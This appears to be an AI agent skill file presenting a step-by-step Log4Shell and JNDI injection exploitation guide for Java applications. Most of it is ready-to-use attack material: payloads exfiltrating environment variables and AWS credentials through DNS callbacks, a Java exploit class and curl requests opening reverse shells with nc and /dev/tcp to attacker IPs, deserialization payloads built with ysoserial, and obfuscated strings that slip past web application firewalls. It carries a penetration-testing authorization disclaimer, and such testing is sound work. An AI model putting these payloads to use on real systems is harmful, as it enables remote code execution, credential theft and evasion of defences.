Log4Shell & JNDI Exploitation
A comprehensive guide for discovering and exploiting JNDI injection and Log4Shell vulnerabilities in Java applications.
⚠️ Authorization Required: Only use these techniques on systems you own or have explicit written permission to test.
When to Use This Skill
Use this skill when:
- Testing Java applications for Log4j vulnerabilities
- Investigating CVE-2021-44228, CVE-2021-45046, or related CVEs
- Analyzing JNDI injection possibilities
- Needing to verify if user input is being logged by vulnerable libraries
- Working with LDAP, RMI, or CORBA-based Java applications
- Preparing for penetration testing engagements involving Java stacks
Quick Reference
| Phase | Command/Tool | Purpose |
|---|---|---|
| Discovery | DNS callback payloads | Detect vulnerability |
| Verification | Environment variable exfiltration | Confirm exploitability |
| Exploitation | marshalsec, JNDIExploit | Achieve RCE |
| Bypass | Obfuscation techniques | Evade WAFs |
Phase 1: Discovery
DNS Callback Detection
The most reliable initial detection method. Vulnerable applications will send DNS requests to addresses in your payload.
Recommended callback services:
# CanaryTokens
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}
# Interactsh (recommended)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}
# Burp Collaborator
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}
# DNSLog.cn
${jndi:ldap://2j4ayo.dnslog.cn}
# Huntress
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}
Important: Receiving a DNS callback confirms the application processes the payload, but doesn't guarantee full exploitability. You must attempt exploitation.
Local Vulnerability Scanning
Find vulnerable log4j-core versions on local systems:
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j-core-(1.[^0]|2.[0-9][^0-9]|2.1[0-6])"
Vulnerable versions:
- Log4j 2.0-beta9 to 2.14.1 (CVE-2021-44228)
- Log4j 2.15.0 (incomplete fix, CVE-2021-45046)
- Log4j 1.x with JMSAppender (CVE-2021-4104)
Phase 2: Verification
Environment Variable Exfiltration
Confirm vulnerability and extract information using DNS callbacks with embedded variables:
# Basic verification with Java version
${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}
# AWS credentials (if present)
${env:AWS_ACCESS_KEY_ID}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
# System information
${env:HOSTNAME}
${env:USER}
${env:PATH}
${sys:java.class.path}
${sys:user.home}
${sys:user.name}
Common Variables to Test
${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}
Phase 3: Exploitation
Understanding JDK Version Impact
| JDK Version | LDAP Codebase Loading | Deserialization Attack |
|---|---|---|
| < 6u141, 7u131, 8u121 | ✅ Possible | ✅ Possible |
| ≥ 6u141, 7u131, 8u121 | ❌ Blocked (trustURLCodebase=false) | ✅ Still Possible |
Key insight: Higher JDK versions block remote codebase loading via LDAP but remain vulnerable to deserialization attacks using trusted gadgets.
Method 1: Marshalsec with Custom Payload
Setup LDAP referral server:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip>:8000/#Exploit"
Create exploit class:
// Exploit.java
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP.ADDRESS 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Compile and serve:
javac Exploit.java -source 8 -target 8
python3 -m http.server 8000
Trigger exploitation:
${jndi:ldap://<LDAP_IP>:1389/Exploit}
Method 2: JNDIExploit
Start the exploit server:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888
Available exploits:
# List all available exploits
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u
# Create file on target
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
# Reverse shell (Unix)
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
# DNS log verification
ldap://null:1389/Basic/Dnslog/[domain]
Example attacks:
# Create file
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
# Reverse shell
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
# Alternative reverse shell
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
Method 3: JNDI-Exploit-Kit
Generate exploit URLs:
# Reverse shell on port 4444
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
Method 4: ysoserial + JNDI-Exploit-Kit (For Trusted Gadgets)
Best for: Java versions configured to only trust specified classes.
Generate deserialization payload:
# Reverse shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
Serve the payload:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
Exploit:
${jndi:ldap://10.10.14.10:1389/generated}
Phase 4: Bypasses
WAF Evasion Techniques
# Environment variable obfuscation
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
# Lowercase function
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
# Mixed case
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
# Character slicing
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
# Alternative environment variable
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
# Mixed functions
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
# RMI protocol
${${::-j}ndi:rmi://attackerendpoint.com/}
# DNS protocol
${${::-j}ndi:dns://attackerendpoint.com/}
# Unicode trick (Turkish i)
${${lower:jnd}${lower:${upper:ı}}:ldap://...}
Localhost Bypass (For Log4j 2.15)
${jndi:ldap://127.0.0.1#attacker.com/a}
Phase 5: Post-Log4Shell Exploitation
Understanding Version Changes
| Version | Message Lookups | JNDI Default | Recursive Lookups |
|---|---|---|---|
| 2.16.0+ | ❌ Removed | ❌ Disabled | ✅ In config only |
| 2.17.0+ | ❌ Removed | ❌ Disabled | ✅ Top-level only |
Exception-Based Exfiltration
Trigger exceptions to exfiltrate data:
# Basic exception exfiltration
${java:${env:FLAG}}
# This triggers an exception because ${java:CTF{blahblah}} doesn't exist
# The exception message contains the flag value
Binary Search via Regex
Use %replace with regex to test flag values:
# Trigger exception if regex matches
%replace{${env:FLAG}}{^CTF.*}{${error}}
# Time-based ReDoS
%replace{${env:FLAG}}{^(?=CTF)((.`)*salt$}{asd}
Amplification Attack
Cause timeout through massive string replacement:
/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
If the flag matches flagGuess, this creates 96+ billion characters, triggering a timeout.
Automated Scanners
| Tool | Purpose |
|---|---|
| log4j-scan | Network scanning |
| Log4j-RCE-Scanner | RCE verification |
| burp-log4shell | Burp extension |
| log4j-scanner | CIS scanner |
| local-log4j-vuln-scanner | Local detection |
| log4j-sniffer | Local library detection |
Practice Labs
| Lab | Platform | Difficulty |
|---|---|---|
| LogForge | HackTheBox | Medium |
| Solar Room | TryHackMe | Easy |
| log4jpwn | GitHub | Easy |
| log4shell-vulnerable-app | GitHub | Easy |
Related CVEs
| CVE | Severity | Description |
|---|---|---|
| CVE-2021-44228 | Critical | Untrusted deserialization, RCE |
| CVE-2021-45046 | Critical | DoS via incomplete fix |
| CVE-2021-4104 | High | Log4j 1.x JMSAppender |
| CVE-2021-42550 | Moderate | Logback vulnerability |
| CVE-2021-45105 | High | DoS in 2.16.0 |
| CVE-2021-44832 | High | JDBCAppender RCE |
Scripts
Use the bundled scripts for common tasks:
scripts/scan_local_log4j.sh- Find vulnerable log4j versions locallyscripts/generate_log4shell_payloads.py- Generate various payload typesscripts/setup_dns_callback.sh- Setup DNS callback monitoring